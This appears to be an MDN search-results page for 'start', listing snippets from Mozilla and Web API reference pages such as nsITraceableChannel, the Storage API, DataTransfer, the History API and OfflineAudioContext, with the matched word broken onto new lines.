...ce location information of the node. if the parser produced no information about the node's source location, the field is null; otherwise it is an object consisting of a
start position (the position of the first character of the parsed source region) and an end position (the position of the first character after the parsed source region): interface sourcelocation { source: string | null;
start: position; end: position; } each position object consists of a line number (1-indexed) and a column number (0-indexed): interface position { line: uint32 >= 1; column: uint32 >= 0; } programs interface program <: node { type: "program"; body: [ statement ]; } a complete program source tree. functions interface function <: node { id: identifier | null; params: ...
...And 2 more matches
amIInstallTrigger
constant value description skin 1 locale 2 content 4 package 7 methods enabled() tests if installati...
...ko 2.0 boolean updateenabled(); deprecated since gecko 2.0 constants retained for backwards compatibility. constant value description skin 1 locale 2 content 4 package 7 methods enabled() tests if installation is enabled. boolean enabled(); parameters none. return value install()
starts a new installation of a set of add-ons. boolean install( in nsivariant aargs, in amiinstallcallback acallback optional ); parameters aargs the add-ons to install. this should be a js object, each property is the name of an add-on to be installed. the value of the property should either be a string url, or an object with the following properties: url for the add-on's url iconurl ...
...each property is the name of an add-on to be installed. the value of the property should either be a string url, or an object with the following properties: url for the add-on's url iconurl for an icon for the add-on hash for a hash of the add-on. acallback optional a callback to call as each installation succeeds or fails. return value true if the installations were successfully
started. installchrome
starts installing a new add-on. this method is deprecated, please use install() in the future. boolean installchrome( in pruint32 atype, in astring aurl, in astring askin ); parameters atype unused, retained for backwards compatibility. aurl the url of the add-on. askin unused, retained for backwards compatibility. return value true if the installation was s...
...And 2 more matches
mozITXTToHTMLConv
constant typ...
... constant type description kentities unsigned long enables conversion of basic special charac...
...ersions to apply. return value a normalized version of the original html string. citeleveltxt() returns the "cite level" of the specified text; that is, it indicates how many levels of email reply quotes are used, when the text uses "quote" characters (such as ">") at the beginning of the line to indicate cite levels. unsigned long citeleveltxt( in wstring line, out unsigned long logline
start ); parameters line the original line of text, which may begin with one or more cite characters such as ">". logline
start on output, this parameter is set to indicate the offset into the string of the first non-cite character. you must set this value to zero before calling this method. return value the cite level of the quote; that is, the number of text quote characters found at the be...
...And 2 more matches
nsIDOMMozNetworkStatsManager
ject exists, you can use the network statistics service. ...
...y. constants constant type description wifi long constant for wifi, set to 0 mobile long constant for mobile, set to 1 methods getsamples() asynchronously queries network interface statistics. the query may be filtered by connection type and date. nsidomdomrequest getsamples(in nsisupports network, in jsval
start, in jsval end, [optional] in jsval options /* networkstatsgetoptions */); parameters network the origin of the data. it can specify wifi, mobile, or null. if null, data measurement from both origins are merged. to know in advance which kind of origin is available, the moznetworkstatsmanager.getavailablenetworks method returns an array ...
... in jsval end, [optional] in jsval options /* networkstatsgetoptions */); parameters network the origin of the data. it can specify wifi, mobile, or null. if null, data measurement from both origins are merged. to know in advance which kind of origin is available, the moznetworkstatsmanager.getavailablenetworks method returns an array of interfaces.
start a date object representing the beginning of data measurement. end a date object representing the end of data measurement. options optional filtering options. networkstatsgetoptions is a dictionary object providing filtering options. return value an nsidomdomrequest object. if successful, the request result is an nsidommoznetworkstats object describing the network statistics. if network s...
...And 2 more matches
nsIFocusManager
void windowlowered(in nsidomwindow awindow); native code only! void windowraised(in nsidomwindow awindow); native code only! void windowshown(in nsidomwindow awindow, ...
...dow to the current focus. void movecarettofocus( in nsidomwindow awindow ); parameters awindow elementisfocusable() check if given element is focusable. boolean elementisfocusable(in nsidomelement aelement, in unsigned long aflags); parameters aelement aflags return value true if aelement is focusable. movefocus() move the focus to another element. ...
...ndow awindow ); parameters awindow elementisfocusable() check if given element is focusable. boolean elementisfocusable(in nsidomelement aelement, in unsigned long aflags); parameters aelement aflags return value true if aelement is focusable. movefocus() move the focus to another element. if a
startelement is specified, then movement is done relative to a
startelement. if a
startelement is null, then movement is done relative to the currently focused element. if no element is focused, focus the first focusable element within the document (or the last focusable element if atype is movefocus_end). this method is equivalent to setting the focusedelement to the new element. specifying a
startelement and using movefocus_last is not currently implemented. if no...
...And 2 more matches
nsITraceableChannel
previous listener for the channel. each listener call through to the previous listener for every call, in order to establish a call chain to allow all interested parties a chance to act on each event. ...
...ed to setnewlistener() should implement the following methods, which are called to notify it of events that occur on the http stream: on
startrequest: an http request is beginning. ondataavailable: data is arriving on the http channel. onstoprequest: the http request is ending. note: it is critical that you pass along requests to the previous listener as soon as possible -- especially for on
startrequest. channels may restrict when you may replace the listener. in particular, listeners typically should not be replaced after on
startrequest has been called. example this example can be copied and pasted into a javascript interpreter and run. ...
...previous listener as soon as possible -- especially for on
startrequest. channels may restrict when you may replace the listener. in particular, listeners typically should not be replaced after on
startrequest has been called. example this example can be copied and pasted into a javascript interpreter and run. this example uses promise syntax that is available in firefox 30 and onwards. ...
...And 2 more matches
nsIWindowsRegKey
nsiwindowsregkey openchild(in astring relpath, in unsigned long mode); acstring readbinaryvalue(in astring name); unsigned long long readint64value(in astring name); unsigned long readintvalue(in astring name); astring readstringvalue(in astring name); void removechild(in astring relpath); void removevalue(in astring name); void
startwatching(in boolean recurse); void stopwatching(); void writebinaryvalue(in astring name, in acstring data); void writeint64value(in astring name, in unsigned long long data); void writeintvalue(in astring name, in unsigned long data); void writestringvalue(in astring name, in astring data); attributes attribute type description ...
...aluetype() this method returns the type of the value with the given name. unsigned long getvaluetype( in astring name ); parameters name the name of the value to query. return value one of the "type_" constants. haschanged() boolean haschanged(); parameters none. return value this method returns true if the key has changed and false otherwise. this method will always return false if
startwatching() was not called. haschild() this method checks to see if the key has a child by the given name. boolean haschild( in astring name ); parameters name the name of the requested child key. return value true if the key has a child by the given name. hasvalue() this method checks to see if the key has a value by the given name. boolean hasvalue( in astring name ); parameters ...
...hild key. return value true if the key has a child by the given name. hasvalue() this method checks to see if the key has a value by the given name. boolean hasvalue( in astring name ); parameters name the name of the requested value. return value true if the key has a value by the given name. iswatching() this method returns true if the key is being watched for changes (that is, if
startwatching() was called). boolean iswatching(); parameters none. return value true if the key is being watched for changes. open() this method opens an existing key. this method fails if the key does not exist. note: on 32-bit windows, it is valid to pass any hkey as the rootkey parameter of this function. however, for compatibility with 64-bit windows, that usage should probably be avoided in favo...
...And 2 more matches
Storage
rently "unfrozen", which means it is subject to change at any time; in fact, it has changed somewhat with each release of firefox since it was introduced, and will likely continue to do so for a while. note: storage is not the same as the dom:storage feature which can be used by web pages to store persistent data or the session store api (an xpcom storage utility for use by extensions). getting
started this document covers the storage api and some peculiarities of sqlite. it does not cover sql or "regular" sqlite. you can find some very useful links in the see also section however. for storage api help, you can post to mozilla.dev.apps.platform on the news server news.mozilla.org. to report bugs, use bugzilla. the overall procedure for use is: get the storage service - mozistorageservice...
... getter_addrefs(statement)); ns_ensure_success(rv, rv); rv = statement->bindint32parameter(0, 1234); ns_ensure_success(rv, rv); note: numerical indexes for parameters are always one less than the number you write in the sql. the use of numerical indexes for parameters is strongly discouraged in javascript where named parameters are much easier to use. binding multiple sets of parameters
starting in gecko 1.9.2 (firefox 3.6), there's a new, more convenient way to bind multiple sets of parameters at once prior to executing your statement asynchronously. this api is only available for asynchronous execution. let stmt = dbconn.createstatement("insert into table_name (value) values(:value)"); let params = stmt.newbindingparamsarray(); for (let i = 0; i < 10; i++) { let bp = params.newbi...
...a single call to mozistoragestatement.bindparameters() will ensure that the parameters are bound before execution. you can then execute the statement asynchronously, and the statement will get each set of bindings bound to it before execution asynchronously. executing a statement you may execute statements either synchronously (which is supported in firefox gecko 1.8 and 1.9) or asynchronously (
starting in gecko 1.9.1). if your code needs to work with applications based on gecko 1.8 or 1.9, you should the technique covered in the section synchronously below. otherwise, it's strongly recommended that you use asynchronous execution, for performance reasons. asynchronously gecko 1.9.1 introduced support for asynchronous execution of a statement by calling mozistoragestatement.executeasync() ...
...And 2 more matches
nsIMsgCloudFileProvider
eing uploaded is larger than the file size limit. uploadcanceled 0x8055311d returned when uploading has stopped because it was cancelled by the user. methods init() initializes an nsimsgcloudfileprovider to be associated with a particular account. this should probably be called immediately after instantiation. void init(in string aaccountkey); parameters uploadfile()
starts a file upload for this account. aaccountkey the account key that this instance of the nsimsgcloudfileprovider should be associated with. void uploadfile(in nsilocalfile afile, in nsirequestobserver acallback); parameters afile the file to be uploaded. acallback the nsirequestobserver callback to receive request
start and stop notices. urlforfile() returns the url...
... in nsirequestobserver acallback); parameters awithui whether or not the provider should prompt the user for credentails in the event that the stored credentials have gone stale. if awithui is false, and the credentials are stale, the onstoprequest of the acallback nsirequestlistener will get the autherr status code passed to it. acallback the nsirequestobserver for monitoring the
start and stop states of the refresh operation. deletefile() attempts to delete a file that had previously been uploaded using this instance. void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); parameters afile the file that was previously uploaded using this nsimsgcloudfileprovider instance that should be deleted. acallback the nsirequestobserver for mo...
...tes of the refresh operation. deletefile() attempts to delete a file that had previously been uploaded using this instance. void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); parameters afile the file that was previously uploaded using this nsimsgcloudfileprovider instance that should be deleted. acallback the nsirequestobserver for monitoring the
start and stop states of the delete operation. createnewaccount() creates a new user account for the storage provider represented by the nsimsgcloudfileprovider. note: this function is not directly called by the filelink ui. this might change in the future, but as it stands, this function can simply return ns_error_not_implemented unless there are plans to call createnewaccount from the management ...
...And 2 more matches
Mail composition back end
it is the only way to determine if the operation was successful or not. an important item to note is the fact that this interface should also implement the nsimsgcopyservicelistener interface if it wants to be notified of the progress and completion of the copy operation. ...
...rmine if the operation was successful or not. an important item to note is the fact that this interface should also implement the nsimsgcopyservicelistener interface if it wants to be notified of the progress and completion of the copy operation. ...
...opy operation. nsimsgsendlistener the following describes the methods of the nsimsgsendlistener interface: on
startsending the on
startsending interface is called when the sending operation has begun. this is called after messages creation has completed. if message creation fails, the nsimsgsend operation will return an ns_failed() return code. ns_imethod on
startsending(const char *amsgid, - the message id for the message being sent pruint32 amsgsize) = 0; - the total message size for the message being sent onprogress the onprogress interface is called with progress notification on the send operation. ns_imethod onprogress(const char *amsgid, - the message id for the message being sent ...
...And 2 more matches
Thunderbird Configuration Files
advanced options panel, click on the general tab, and click on config editor. this will display a list of used preferences, as well as a search bar at the top. double-click on a preference to change its value. to do add a new preference, open the context menu (right-click) on any existing preference, go to the new menu, and select the type of preference. some preferences may require that you re
start thunderbird in order to take effect. configuration files some tips and tricks require that you edit configuration files manually. there are three files you should know about: userchrome.css used to change the appearance of the browser. usercontent.css used to change the appearance of web pages. user.js used to change various preferences. all these files are plain text files you need t...
...dows vista, and the rest should be obvious. on windows 95/98/me, the path is usually c:\windows\application data\thunderbird\profiles\xxxxxxxx.default\ on linux, the path is usually ~/.thunderbird/xxxxxxxx.default/ on mac os x, the path is usually ~/library/thunderbird/profiles/xxxxxxxx.default/ %appdata% is a shorthand for the application data path on windows 2000/xp/vista. to use it, click
start > run... (use the search box on vista), enter %appdata% and press enter. you will be taken to the "real" folder, which is normally c:\documents and settings\[user name]\application data on windows xp/2000, c:\users\[user name]\appdata\roaming on windows vista. thunderbird is capable of handling more than one user and thus, more than one profile. the path examples above refers to the default prof...
...ter %appdata% and press enter. you will be taken to the "real" folder, which is normally c:\documents and settings\[user name]\application data on windows xp/2000, c:\users\[user name]\appdata\roaming on windows vista. thunderbird is capable of handling more than one user and thus, more than one profile. the path examples above refers to the default profile that is automatically created when you
start thunderbird for the first time. you can manage any number of profiles by using the profile manager. userchrome.css this file sets the display rules for various elements in the thunderbird user interface and is located in the sub-folder called chrome in your profile folder. this folder does not exist by default, so you need to create it before you can
start adding your preferences. usercontent.
...And 2 more matches
Building a Thunderbird extension 6: Adding JavaScript
current date into our statusbar widget. the statusbar is usually displayed at the bottom of the thunderbird window. depending on the installed theme the result will look something like this: modify xul elements with javascript save the following javascript code into the content/ folder next to your myhelloworld.xul file and name it overlay.js. ...
...sually displayed at the bottom of the thunderbird window. depending on the installed theme the result will look something like this: modify xul elements with javascript save the following javascript code into the content/ folder next to your myhelloworld.xul file and name it overlay.js. ...
...pending on the installed theme the result will look something like this: modify xul elements with javascript save the following javascript code into the content/ folder next to your myhelloworld.xul file and name it overlay.js. ...
...And 2 more matches
Debugger.Script - Firefox Developer Tools
() {}; // display name: h/i f(function () {}); // display name: h/< } var s = f(function () {}); // display name: s< if the instance refers to webassembly code, throw a typeerror. url if the instance refers to a jsscript, the filename or url from which this script’s code was loaded. ...
... linecount if the instance refers to a jsscript, the number of lines this script’s code occupies, within the file or document named by url. ...
...acking how the code was introduced into the system; the entire string is not a valid url. for function.prototype’s script, this is null. if this debugger.script’s source property is non-null, then this is equal to source.url. if the instance refers to webassembly code, throw a typeerror.
startline if the instance refers to a jsscript, the number of the line at which this script’s code
starts, within the file or document named by url. linecount if the instance refers to a jsscript, the number of lines this script’s code occupies, within the file or document named by url. source if the instance refers to a jsscript, the debugger.source instance representing the source code from which this script was produced. this is null if the source code was not retained. if the instance ...
...And 2 more matches
Work with animations - Firefox Developer Tools
e animation inspector editing @keyframes editing timing functions animation inspector the page inspector's animations view displays animations in the page synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point. it displays animations created using css transitions, css @keyframes rules, or the web animations api.
starting in firefox 48, it will show animations applied to the ::before and ::after pseudo-elements. to see how it works, we'll walk through an example. the box below contains a grayscale icon, representing firefox developer edition. if you click the icon, it enlarges and changes to color, and the name of the browser appears. click the icon again to reverse the effect. these animations are made usi...
...at's going on in this example. right-click in the box and select "inspect element" make sure the selected element is the <div class="channel"> switch over to the "animations" tab play the animation let's take a closer look at the contents of the animation inspector here: it shows a synchronized timeline for every animation applied to the selected element or its children. the timeline
starts at the
start of the first animation, ends at the end of the last animation, and is labeled with markers every 250 milliseconds (this depends on the time scale of the animations currently displayed). animation bars each animation or transition is shown as a horizontal bar laid across the timeline. the bar is: blue if a transition was used to animate a property orange if a @keyframes animati...
...me. if the animation or transition had a delay, this is shown as a cross-hatched portion of the bar. delay and enddelay are both represented. if you hover over the bar, a tooltip appears, giving you more detailed information about the animation or transition, including: the type of animation: css transition, css animation, or web animations api the duration of the animation the animation's
start and end delay the animation's easing (or timing function). the animation's fill the playback rate of the animation information about the animated element to the left of each bar is a selector for the element that the animation applies to. if you hover over this selector, the element is highlighted in the page. click the selector to select the element in the inspector. to the left of the ...
...And 2 more matches
about:debugging - Firefox Developer Tools
opening the about:debugging page there are two ways to open about:debugging: type about:debugging in the firefox url bar. in the tools > web developer menu, click remote debugging. ...
...der for it to be able to connect to your device. next, disable every debugging setting already activated and repeat the steps described before. your device should show a popup to authorize your computer to connect to it — accept this and then click the refresh devices button again. the device should appear. note: you do not need to install the full android studio sdk. only adb is needed. to
start a debugging session, first open the page that you wish to debug and then click connect next to the device name to open a connection to it. if the connection was successful, you can now click the name of the device to switch to a tab with information about the device. the information on this page is the same as the information on the this firefox tab, but instead of displaying information for y...
...e of these tabs, click the inspect button next to its title. when you do, the developer tools open in a new tab. above the usual list of tools, you can see information about the device you are connected to, including the fact that you are connected (in this example) via usb, to firefox preview, on a pixel 2, as well as the title of the page that you are debugging, and the address of the page.
starting in firefox 78, the url bar is editable, so that you can change the url used by the browser on the remote device, by typing in firefox for desktop. you can also reload the page by clicking the reload button next to the url bar, and (
starting 79), navigate backward or forward in the browsing history with the back and forward buttons. connecting over the network you can connect to a firefox deb...
...And 2 more matches
AudioBufferSourceNode - Web APIs
text { fill: #0095dd; pointer-events: all;} an audiobuffersourcenode has no inputs and exactly one output, which has the same number of channels as the audiobuffer indicated by its buffer property. if there's no buffer set—that is, if buffer is null—the output contains a single channel of silence (every sample is 0). an audiobuffersourcenode can only be played once; after each call to
start(), you have to create a new node if you want to play the same sound again. fortunately, these nodes are very inexpensive to create, and the actual audiobuffers can be reused for multiple plays of the sound. indeed, you can use these nodes in a "fire and forget" manner: create the node, call
start() to begin playing the sound, and don't even bother to hold a reference to it. it will automatically ...
...ng of playback in cents. this value is compounded with playbackrate to determine the speed at which the sound is played. its default value is 0 (meaning no detuning), and its nominal range is -∞ to ∞. audiobuffersourcenode.loop a boolean attribute indicating if the audio asset must be replayed when the end of the audiobuffer is reached. its default value is false. audiobuffersourcenode.loop
start optional a floating-point value indicating the time, in seconds, at which playback of the audiobuffer must begin when loop is true. its default value is 0 (meaning that at the beginning of each loop, playback begins at the
start of the audio buffer). audiobuffersourcenode.loopend optional a floating-point number indicating the time, in seconds, at which playback of the audiobuffer stops and lo...
...the default value is 0. ...
...And 2 more matches
DataTransfer.clearData() - Web APIs
ing. if this method is called with no arguments or the format is an empty string, the data of all types will be removed. this method does not remove files from the drag operation, so it's possible for there still to be an entry with the type "files" left in the object's datatransfer.types list if there are any files included in the drag. this method can only be used in the handler for the drag
start event, because that's the only time the drag operation's data store is writeable. syntax datatransfer.cleardata([format]); parameters format optional a string which specifies the type of data to remove. if this parameter is an empty string or is not provided, the data for all types is removed. example this example shows the use of the datatransfer object's getdata(), setdata() and cle...
...ata for all types is removed. example this example shows the use of the datatransfer object's getdata(), setdata() and cleardata() methods. html <span class="tweaked" id="source" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element. ...
...olid black; } javascript window.addeventlistener('domcontentloaded', function () { // select html elements var draggable = document.getelementbyid('source'); var dropable = document.getelementbyid('target'); var status = document.getelementbyid('status'); var data = document.getelementbyid('data'); var dropped = false; // register event handlers draggable.addeventlistener('drag
start', drag
starthandler); draggable.addeventlistener('dragend', dragendhandler); dropable.addeventlistener('dragover', dragoverhandler); dropable.addeventlistener('dragleave', dragleavehandler); dropable.addeventlistener('drop', drophandler); function drag
starthandler (event) { status.innerhtml = 'drag in process'; // change target element's border to signify drag has
started e...
...And 2 more matches
DataTransferItemList.clear() - Web APIs
the datatransferitemlist method clear() removes all datatransferitem objects from the drag data items list, leaving the list empty. the drag data store in which this list is kept is only writable while handling the drag
start event. while handling drop, the drag data store is in read-only mode, and this method silently does nothing. no exception is thrown. syntax datatransferitemlist.clear(); parameters none. return value undefined example this example shows the use of the clear() method. ...
... data store in which this list is kept is only writable while handling the drag
start event. while handling drop, the drag data store is in read-only mode, and this method silently does nothing. no exception is thrown. syntax datatransferitemlist.clear(); parameters none. return value undefined example this example shows the use of the clear() method. ...
... in which this list is kept is only writable while handling the drag
start event. while handling drop, the drag data store is in read-only mode, and this method silently does nothing. no exception is thrown. syntax datatransferitemlist.clear(); parameters none. return value undefined example this example shows the use of the clear() method. ...
...And 2 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
tructure creating element nodes and inserting them into the document tree the basic steps to create the table in sample1.html are: get the body object (first item of the document object). create all the elements. finally, append each child according to the table structure (as in the above figure). the following source code is a commented version for the sample1.html. ...
...of the
start function, there is a new line of code. the table's border property was set using another dom method, setattribute(). setattribute() has two arguments: the attribute name and the attribute value. you can set any attribute of any element using the setattribute method. ...
...first it uses the childnodes attribute to get the list of child nodes of mycel. the childnodes list includes all child nodes, regardless of what their name or type is. like getelementsbytagname(), it returns a list of nodes. the differences are that (a...
...And 2 more matches
Using files from web applications - Web APIs
next great photo-sharing website and want to use html to display thumbnail previews of images before the user actually uploads them. you can establish your input element or drop zone as discussed previously and have them call a function such as the handlefiles() function below. function handlefiles(files) { for (let i = 0; i < files.length; i++) { const file = files[i]; if (!file.type.
startswith('image/')){ continue } const img = document.createelement("img"); img.classlist.add("obj"); img.file = file; preview.appendchild(img); // assuming that "preview" is the div output where the content will be displayed. const reader = new filereader(); reader.onload = (function(aimg) { return function(e) { aimg.src = e.target.result; }; })(img); reader.readasdataur...
...ecifying the file for the image; this will let us fetch the images for actual upload later. we use node.appendchild() to add the new thumbnail to the preview area of our document. next, we establish the filereader to handle asynchronously loading the image and attaching it to the img element. after creating the new filereader object, we set up its onload function and then call readasdataurl() to
start the read operation in the background. when the entire contents of the image file are loaded, they are converted into a data: url which is passed to the onload callback. our implementation of this routine sets the img element's src attribute to the loaded image which results in the image appearing in the thumbnail on the user's screen. using object urls the dom url.createobjecturl() and url.revo...
... the new list element is ...
...And 2 more matches
GlobalEventHandlers.onanimationiteration - Web APIs
end of an iteration while running on the target, where the target object is an html element (htmlelement), document (document), or window (window). the function receives as input a single parameter: an animationevent object describing the event which occurred. example let's create an animation which automatically pauses at the end of each iteration, allowing the user to choose whether or not to
start the next iteration. much of this code is the same as in other examples of animation events, so it may look familiar. html <div class="main"> <div id="box"> <div id="text">box</div> </div> </div> <div class="button" id="play"> begin demonstration </div> css :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: poin...
...n-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating. first is the box itself. we set its size, position, color, and layout. note that there's nothing there about animation. that's because we don't want the box to
start animating right away. we'll add the animation style later to
start animating the box. #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-content: center; animation: 2s ease-in-out 0s infinite alternate both paused slidebox; } the animation's ke...
...eyframes are defined next; they describe an animation which causes the box to migrate from the top-left corner of the container to the bottom-right corner. ...
...And 2 more matches
HTMLMediaElement.play() - Web APIs
note: older browsers may not return a value from play(). ...
... note: older browsers may not return a value from play(). ...
... note: older browsers may not return a value from play(). exceptions the promise's rejection handler is called with an exception name passed in as its sole input parameter (as opposed to a traditional exception being thrown). ...
...And 2 more matches
HTMLMediaElement - Web APIs
s: nodownload, nofullscreen, and noremoteplayback. htmlmediaelement.crossorigin a domstring indicating the cors setting for this media element. htmlmediaelement.currentsrc read only returns a domstring with the absolute url of the chosen media resource. htmlmediaelement.currenttime a double-precision floating-point value indicating the current playback time in seconds; if the media has not
started to play and has not been seeked, this value is the media's initial playback time. setting this value seeks the media to the new time. the time is specified relative to the media's timeline. htmlmediaelement.defaultmuted a boolean that reflects the muted html attribute, which indicates whether the media element's audio output should be muted by default. htmlmediaelement.defaultplaybackrate a...
...lar), the value is +infinity. htmlmediaelement.ended read only returns a boolean that indicates whether the media element has finished playing. htmlmediaelement.error read only returns a mediaerror object for the most recent error, or null if there has not been an error. htmlmediaelement.loop a boolean that reflects the loop html attribute, which indicates whether the media element should
start over when it reaches the end. htmlmediaelement.mediagroup a domstring that reflects the mediagroup html attribute, which indicates the name of the group of elements it belongs to. a group of media elements shares a common mediacontroller. htmlmediaelement.mediakeys read only returns a mediakeys object or null. mediakeys is a set of keys that an associated htmlmediaelement can use for decry...
....g., 2 channels * 1024 samples = 2048 total). the mozframebufferlength property can be set to a new value for lower latency, larger amounts of data, etc. the size given must be a number between 512 and 16384. using any other size results in an exception being thrown. the best time to set a new length is after the loadedmetadata event fires, when the audio info is known, but before the audio has
started or mozaudioavailable events have begun firing. htmlmediaelement.mozsamplerate read only returns a double representing the number of samples per second that will be played. for example, 44100 samples per second is the sample rate used by cd audio. htmlmediaelement.muted is a boolean that determines whether audio is muted. true if the audio is muted and false otherwise. htmlmediaeleme...
...And 2 more matches
Working with the History API - Web APIs
cript object which is associated with the new history entry created by pushstate(). whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object. the state object can be anything that can be serialized. because firefox saves state objects to the user's disk so they can be restored after the user re
starts the browser, we impose a size limit of 640k characters on the serialized representation of a state object. if you pass a state object whose serialized representation is larger than this to pushstate(), the method will throw an exception. if you need more space than this, you're encouraged to use sessionstorage and/or localstorage. title all browsers but safari currently ignore this paramete...
...n the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state to which you're moving. url the new history entry's url is given by this parameter. note that the browser won't attempt to load this url after a call to pushstate(), but it might attempt to load the url later, for instance after the user re
starts the browser. the new url does not need to be absolute; if it's relative, it's resolved relative to the current url. the new url must be of the same origin as the current url; otherwise, pushstate() will throw an exception. this parameter is optional; if it isn't specified, it's set to the document's current url. note: in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) through gecko 5.0...
...ive to the current url. the new url must be of the same origin as the current url; otherwise, pushstate() will throw an exception. this parameter is optional; if it isn't specified, it's set to the document's current url. note: in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) through gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2), the passed object is serialized using json.
starting in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3), the object is serialized using the structured clone algorithm. this allows a wider variety of objects to be safely passed. in a sense, calling pushstate() is similar to setting window.location = "#foo", in that both will also create and activate another history entry associated with the current document. but pushstate() has a few ...
...And 2 more matches
MessageEvent - Web APIs
inside different windows. the following code snippet shows creation of a sharedworker object using the sharedworker() constructor. both scripts contain this: var myworker = new sharedworker('worker.js'); both scripts then access the worker through a messageport object created using the sharedworker.port property. ...
...windows. the following code snippet shows creation of a sharedworker object using the sharedworker() constructor. both scripts contain this: var myworker = new sharedworker('worker.js'); both scripts then access the worker through a messageport object created using the sharedworker.port property. ...
...ippet shows creation of a sharedworker object using the sharedworker() constructor. both scripts contain this: var myworker = new sharedworker('worker.js'); both scripts then access the worker through a messageport object created using the sharedworker.port property. ...
...And 2 more matches
OfflineAudioContext - Web APIs
ties from its parent interface, baseaudiocontext. offlineaudiocontext.length read only an integer representing the size of the buffer in sample-frames. event handlers offlineaudiocontext.oncomplete is an eventhandler called when processing is terminated, that is when the complete event (of type offlineaudiocompletionevent) is raised, after the event-based version of offlineaudiocontext.
startrendering() is used. methods also inherits methods from its parent interface, baseaudiocontext. offlineaudiocontext.suspend() schedules a suspension of the time progression in the audio context at the specified time and returns a promise. offlineaudiocontext.
startrendering()
starts rendering the audio, taking into account the current connections and the current scheduled changes. this pag...
...amples in this simple example, we declare both an audiocontext and an offlineaudiocontext object. we use the audiocontext to load an audio track via xhr (audiocontext.decodeaudiodata), then the offlineaudiocontext to render the audio into an audiobuffersourcenode and play the track through. after the offline audio graph is set up, you need to render it to an audiobuffer using offlineaudiocontext.
startrendering. when the
startrendering() promise resolves, rendering has completed and the output audiobuffer is returned out of the promise. at this point we create another audio context, create an audiobuffersourcenode inside it, and set its buffer to be equal to the promise audiobuffer. this is then played as part of a simple standard audio graph. note: for a working example, see our offline-au...
...to render it function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.connect(offlinectx.destination); source.
start(); //source.loop = true; offlinectx.
startrendering().then(function(renderedbuffer) { console.log('rendering completed successfully'); var song = audioctx.createbuffersource(); song.buffer = renderedbuffer; song.connect(audioctx.destination); play.onclick = function() { song.
start(); } }).catch(function(err) { ...
...And 2 more matches
Path2D - Web APIs
the path methods of the canvasrenderingcontext2d interface are also present on this interface, which gives you the convenience of being able to retain and replay your path whenever desired. constructors path2d() path2d constructor. creates a new path2d object. methods path2d.addpath() adds a path to the current path. path2d.closepath() causes the point of the pen to move back to the
start of the current sub-path. it tries to draw a straight line from the current point to the
start. if the shape has already been closed or has only one point, this function does nothing. path2d.moveto() moves the
starting point of a new sub-path to the (x, y) coordinates. path2d.lineto() connects the last point in the subpath to the (x, y) coordinates with a straight line. path2d.beziercurveto()...
... point, this function does nothing. path2d.moveto() moves the
starting point of a new sub-path to the (x, y) coordinates. path2d.lineto() connects the last point in the subpath to the (x, y) coordinates with a straight line. path2d.beziercurveto() adds a cubic bézier curve to the path. it requires three points. the first two points are control points and the third one is the end point. the
starting point is the last point in the current path, which can be changed using moveto() before creating the bézier curve. path2d.quadraticcurveto() adds a quadratic bézier curve to the current path. ...
...t requires three points. the first two points are control points and the third one is the end point. the
starting point is the last point in the current path, which can be changed using moveto() before creating the bézier curve. path2d.quadraticcurveto() adds a quadratic bézier curve to the current path. path2d.arc() adds an arc to the path which is centered at (x, y) position with radius r
starting at
startangle and ending at endangle going in the given direction by anticlockwise (defaulting to clockwise). path2d.arcto() adds a circular arc to the path with the given control points and radius, connected to the previous point by a straight line. ...
...And 2 more matches
Using Performance Timeline - Web APIs
w the usage of these methods getentries(), getentriesbyname() and getentriesbytype(). function log(s) { var o = document.getelementsbytagname("output")[0]; o.innerhtml += s + " <br>"; } function do_work (n) { for (var i=0 ; i < n; i++) { var m = math.random(); } } function print_perf_entry(pe) { log("..name: " + pe.name + "; entrytype: " + pe.entrytype + ";
starttime: " + pe.
starttime + "; duration: " + pe.duration); } function print_performanceentries() { if (performance.mark === undefined) { log("... performance.mark not supported"); return; } // create some performance entries via the mark() and measure() methods performance.mark("begin"); do_work(50000); performance.mark("end"); do_work(50000); performance.measure("meas...
... and mark [" + i + "]"); print_perf_entry(p[i]); } } performanceentry interface the performanceentry interface encapsulates a single performance entry i.e. a single performance metric. this interface has four properties and a json serializer (tojson(). the following example shows the use of these properties. ...
...ace the performanceentry interface encapsulates a single performance entry i.e. a single performance metric. this interface has four properties and a json serializer (tojson(). the following example shows the use of these properties. function print_performanceentry(ev) { var properties = ["name", "entrytype", "
starttime", "duration"]; // create a few performance entries performance.mark("
start"); do_work(50000); performance.mark("stop"); performance.measure("measure-1"); var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("perfentry[" + i + "]"); for (var j=0; j < properties.length; j++) { // check each property in window.performance var supported = properties[j] in p[i]; if (supported) { var pe = p[i]; log("... ...
...And 2 more matches
Selection - Web APIs
rom left to right (in document order) or right to left (reverse of document order). the anchor is where the user began the selection and the focus is where the user ends the selection. if you make a selection with a desktop mouse, the anchor is placed where you pressed the mouse button, and the focus is placed where you released the mouse button. anchor and focus should not be confused with the
start and end positions of a selection. the anchor can be placed before the focus or vice-versa, depending on the direction you made your selection. properties selection.anchornoderead only returns the node in which the selection begins. can return null if selection never existed in the document (e.g., an iframe that was never clicked on). selection.anchoroffsetread only returns a number repr...
